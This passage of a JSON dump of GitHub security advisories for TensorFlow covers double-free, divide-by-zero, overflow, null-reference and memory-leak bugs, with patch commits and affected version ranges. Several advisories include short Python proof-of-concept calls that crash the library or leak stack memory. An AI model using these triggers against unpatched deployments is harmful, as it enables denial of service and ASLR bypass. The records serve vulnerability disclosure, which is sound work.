\u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.9.1","vulnerable_version_range":"\u003e= 2.9.0, \u003c 2.9.1"},{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003c 2.7.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:11:58.111Z","updated_at":"2023-01-28T05:03:11.000Z","epss_percentage":0.00254,"epss_percentile":0.48635},{"uuid":"GSA_kwCzR0hTQS1mNDljLTg3amgtZzQ3cc4AAyTz","url":"https://github.com/advisories/GHSA-f49c-87jh-g47q","title":"TensorFlow has double free in Fractional(Max/Avg)Pool","description":"### Impact\n`nn_ops.fractional_avg_pool_v2` and `nn_ops.fractional_max_pool_v2` require the first and fourth elements of their parameter `pooling_ratio` to be equal to 1.0, as pooling on batch and channel dimensions is not supported.\n\n```python\nimport tensorflow as tf\nimport os\nimport numpy as np\nfrom tensorflow.python.ops import nn_ops\ntry:\n  arg_0_tensor = tf.random.uniform([3, 30, 50, 3], dtype=tf.float64)\n  arg_0 = tf.identity(arg_0_tensor)\n  arg_1_0 = 2\n  arg_1_1 = 3\n  arg_1_2 = 1\n  arg_1_3 = 1\n  arg_1 = [arg_1_0,arg_1_1,arg_1_2,arg_1_3,]\n  arg_2 = True\n  arg_3 = True\n  seed = 341261001\n  out = nn_ops.fractional_avg_pool_v2(arg_0,arg_1,arg_2,arg_3,seed=seed,)\nexcept Exception as e:\n  print(\"Error:\"+str(e))\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ee50d1e00f81f62a4517453f721c634bbb478307](https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307).\n\nThe fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability was reported by [dmc1778](https://github.com/dmc1778), of [nimashiri2012@gmail.com](mailto:nimashiri2012@gmail.com).\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2023-03-24T21:53:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-f49c-87jh-g47q","https://github.com/tensorflow/tensorflow/commit/ee50d1e00f81f62a4517453f721c634bbb478307","https://nvd.nist.gov/vuln/detail/CVE-2023-25801","https://github.com/advisories/GHSA-f49c-87jh-g47q"],"source_kind":"github","identifiers":["GHSA-f49c-87jh-g47q","CVE-2023-25801"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003c 2.11.1"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2023-03-24T22:03:48.330Z","updated_at":"2023-06-13T15:08:30.000Z","epss_percentage":0.00065,"epss_percentile":0.20413},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTNxZ3ctcDRmbS14N2dm","url":"https://github.com/advisories/GHSA-3qgw-p4fm-x7gf","title":"Division by zero in TFLite's convolution code","description":"### Impact\nTFLite's [convolution code](https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc) has multiple division where the divisor is controlled by the user and not checked to be non-zero. For example:\n\n```cc \nconst int input_size = NumElements(input) / SizeOfDimension(input, 0);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ff489d95a9006be080ad14feb378f2b4dac35552](https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360. ","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:27:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3qgw-p4fm-x7gf","https://nvd.nist.gov/vuln/detail/CVE-2021-29594","https://github.com/tensorflow/tensorflow/commit/ff489d95a9006be080ad14feb378f2b4dac35552","https://github.com/tensorflow/tensorflow/blob/09c73bca7d648e961dd05898292d91a8322a9d45/tensorflow/lite/kernels/conv.cc","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-522.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-720.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-231.yaml","https://github.com/advisories/GHSA-3qgw-p4fm-x7gf"],"source_kind":"github","identifiers":["GHSA-3qgw-p4fm-x7gf","CVE-2021-29594"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.293Z","updated_at":"2024-10-31T21:23:24.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS0zNGY5LWhqZnEtcnI4as0obw","url":"https://github.com/advisories/GHSA-34f9-hjfq-rr8j","title":"Overflow and uncaught divide by zero in Tensorflow","description":"### Impact \nThe [implementation of `UnravelIndex`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/unravel_index_op.cc#L36-L135) is vulnerable to a division by zero caused by an integer overflow bug:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.UnravelIndex(indices=-0x100000,dims=[0x100000,0x100000])\n```\n\n### Patches\nWe have patched the issue in GitHub commit [58b34c6c8250983948b5a781b426f6aa01fd47af](https://github.com/tensorflow/tensorflow/commit/58b34c6c8250983948b5a781b426f6aa01fd47af).\n    \nThe fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.\n    \n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n    \n### Attribution\nThis vulnerability has been reported by Yu Tian of Qihoo 360 AIVul Team.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-10T00:18:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-34f9-hjfq-rr8j","https://github.com/tensorflow/tensorflow/commit/58b34c6c8250983948b5a781b426f6aa01fd47af","https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/unravel_index_op.cc#L36-L135","https://nvd.nist.gov/vuln/detail/CVE-2022-21729","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2022-53.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2022-108.yaml","https://github.com/advisories/GHSA-34f9-hjfq-rr8j"],"source_kind":"github","identifiers":["GHSA-34f9-hjfq-rr8j","CVE-2022-21729"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":34.56131941815548,"packages":[{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.7.1","vulnerable_version_range":"= 2.7.0"},{"first_patched_version":"2.6.3","vulnerable_version_range":"\u003e= 2.6.0, \u003c 2.6.3"},{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:37.160Z","updated_at":"2024-11-13T22:11:02.000Z","epss_percentage":0.0022,"epss_percentile":0.44697},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWNmeDctMnhwYy04dzRo","url":"https://github.com/advisories/GHSA-cfx7-2xpc-8w4h","title":"Division by zero in TFLite's implementation of `BatchToSpaceNd`","description":"### Impact\nThe implementation of the `BatchToSpaceNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82):\n\n```cc\nTF_LITE_ENSURE_EQ(context, output_batch_size % block_shape[dim], 0);\noutput_batch_size = output_batch_size / block_shape[dim];\n```\n\nAn attacker can craft a model such that one dimension of the `block` input is 0. Hence, the corresponding value in `block_shape` is 0.\n\n### Patches\nWe have patched the issue in GitHub commit [2c74674348a4708ced58ad6eb1b23354df8ee044](https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:27:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cfx7-2xpc-8w4h","https://nvd.nist.gov/vuln/detail/CVE-2021-29593","https://github.com/tensorflow/tensorflow/commit/2c74674348a4708ced58ad6eb1b23354df8ee044","https://github.com/tensorflow/tensorflow/blob/b5ed552fe55895aee8bd8b191f744a069957d18d/tensorflow/lite/kernels/batch_to_space_nd.cc#L81-L82","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-521.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-719.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-230.yaml","https://github.com/advisories/GHSA-cfx7-2xpc-8w4h"],"source_kind":"github","identifiers":["GHSA-cfx7-2xpc-8w4h","CVE-2021-29593"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.344Z","updated_at":"2024-10-31T21:23:54.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTN3NjctcTc4NC02dzdj","url":"https://github.com/advisories/GHSA-3w67-q784-6w7c","title":"Division by zero in TFLite's implementation of `GatherNd`","description":"### Impact\nThe reference implementation of the `GatherNd` TFLite operator is [vulnerable to a division by zero error](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966):\n\n```cc \nret.dims_to_count[i] = remain_flat_size / params_shape.Dims(i);\n```\n\nAn attacker can craft a model such that `params` input would be an empty tensor. In turn, `params_shape.Dims(.)` would be zero, in at least one dimension.\n\n### Patches\nWe have patched the issue in GitHub commit [8e45822aa0b9f5df4b4c64f221e64dc930a70a9d](https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. \n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:26:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3w67-q784-6w7c","https://nvd.nist.gov/vuln/detail/CVE-2021-29589","https://github.com/tensorflow/tensorflow/commit/8e45822aa0b9f5df4b4c64f221e64dc930a70a9d","https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/reference_ops.h#L966","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-517.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-715.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-226.yaml","https://github.com/advisories/GHSA-3w67-q784-6w7c"],"source_kind":"github","identifiers":["GHSA-3w67-q784-6w7c","CVE-2021-29589"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":11.195920374895437,"packages":[{"versions":[{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.128Z","updated_at":"2024-10-31T21:03:07.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"GSA_kwCzR0hTQS1yYzl3LTVjNjQtOXZxcc4AArBS","url":"https://github.com/advisories/GHSA-rc9w-5c64-9vqq","title":"Missing validation results in undefined behavior in `SparseTensorDenseAdd","description":"### Impact\nThe implementation of [`tf.raw_ops.SparseTensorDenseAdd`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc) does not fully validate the input arguments:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)\na_values = tf.constant([], shape=[0], dtype=tf.float32)\na_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)\n\nb = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)\n\ntf.raw_ops.SparseTensorDenseAdd(\n    a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)\n```\n\nIn this case, a reference gets bound to a `nullptr` during kernel execution. This is UB.\n\n### Patches\nWe have patched the issue in GitHub commit [11ced8467eccad9c7cb94867708be8fa5c66c730](https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:13:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rc9w-5c64-9vqq","https://nvd.nist.gov/vuln/detail/CVE-2022-29206","https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-rc9w-5c64-9vqq"],"source_kind":"github","identifiers":["GHSA-rc9w-5c64-9vqq","CVE-2022-29206"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.688Z","updated_at":"2023-01-27T05:01:57.000Z","epss_percentage":0.00066,"epss_percentile":0.20822},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc3cDUtNTc1OS1xdjQ2","url":"https://github.com/advisories/GHSA-g7p5-5759-qv46","title":"Data leak in Tensorflow","description":"### Impact\nThe `data_splits` argument of [`tf.raw_ops.StringNGrams`](https://www.tensorflow.org/api_docs/python/tf/raw_ops/StringNGrams) lacks validation. This allows a user to pass values that can cause heap overflow errors and even leak contents of memory\n```python\n\u003e\u003e\u003e tf.raw_ops.StringNGrams(data=[\"aa\", \"bb\", \"cc\", \"dd\", \"ee\", \"ff\"], data_splits=[0,8], separator=\" \", ngram_widths=[3], left_pad=\"\", right_pad=\"\", pad_width=0, preserve_short_sequences=False)\nStringNGrams(ngrams=\u003ctf.Tensor: shape=(6,), dtype=string, numpy=\narray([b'aa bb cc', b'bb cc dd', b'cc dd ee', b'dd ee ff',\n       b'ee ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00',\n       b'ff \\xf4j\\xa7q\\x7f\\x00\\x00q\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xd8\\x9b~\\xa8q\\x7f\\x00 \\x9b~\\xa8q\\x7f\\x00\\x00p\\xf5j\\xa7q\\x7f\\x00\\x00H\\xf8j\\xa7q\\x7f\\x00\\x00\\xf0\\xf3\\xf7\\x85q\\x7f\\x00\\x00`}\\xa6\\x00\\x00\\x00\\x00\\x00`~\\xa6\\x00\\x00\\x00\\x00\\x00\\xb0~\\xeb\\x9bq\\x7f\\x00'],...\n```\n\nAll the binary strings after `ee ff` are contents from the memory stack. Since these can contain return addresses, this data leak can be used to defeat ASLR.\n\n### Patches\nWe have patched the issue in 0462de5b544ed4731aa2fb23946ac22c01856b80 and will release patch releases for all versions between 1.15 and 2.3.\n\nWe recommend users to upgrade to TensorFlow 1.15.4, 2.0.3, 2.1.2, 2.2.1, or 2.3.1.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2020-09-25T18:28:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-g7p5-5759-qv46","https://github.com/tensorflow/tensorflow/commit/0462de5b544ed4731aa2fb23946ac22c01856b80","https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1","https://nvd.nist.gov/vuln/detail/CVE-2020-15205","http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00065.html","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2020-285.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2020-320.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2020-128.yaml","https://github.com/advisories/GHSA-g7p5-5759-qv46"],"source_kind":"github","identifiers":["GHSA-g7p5-5759-qv46","CVE-2020-15205"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":31.640644537747974,"packages":[{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"= 2.3.0"},{"first_patched_version":"2.2.1","vulnerable_version_range":"= 2.2.0"},{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 2.1.0, \u003c 2.1.2"},{"first_patched_version":"2.0.3","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.0.3"},{"first_patched_version":"1.15.4","vulnerable_version_range":"\u003c 1.15.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:13.737Z","updated_at":"2024-10-30T21:11:47.000Z","epss_percentage":0.00544,"epss_percentile":0.66511},{"uuid":"GSA_kwCzR0hTQS1nNDY4LXFqOGctdmNqY84AAu2P","url":"https://github.com/advisories/GHSA-g468-qj8g-vcjc","title":"TensorFlow vulnerable to `CHECK`-fail in `tensorflow::full_type::SubstituteFromAttrs`","description":"### Impact\nWhen [`tensorflow::full_type::SubstituteFromAttrs`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/ops/math_ops.cc) receives a `FullTypeDef\u0026 t` that is not exactly three args, it triggers a `CHECK`-fail instead of returning a status.\n```cpp\nStatus SubstituteForEach(AttrMap\u0026 attrs, FullTypeDef\u0026 t) {\n  DCHECK_EQ(t.args_size(), 3);\n\n  const auto\u0026 cont = t.args(0);\n  const auto\u0026 tmpl = t.args(1);\n  const auto\u0026 t_var = t.args(2);\n```\n\n### Patches\nWe have patched the issue in GitHub commit [6104f0d4091c260ce9352f9155f7e9b725eab012](https://github.com/tensorflow/tensorflow/commit/6104f0d4091c260ce9352f9155f7e9b725eab012).\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and 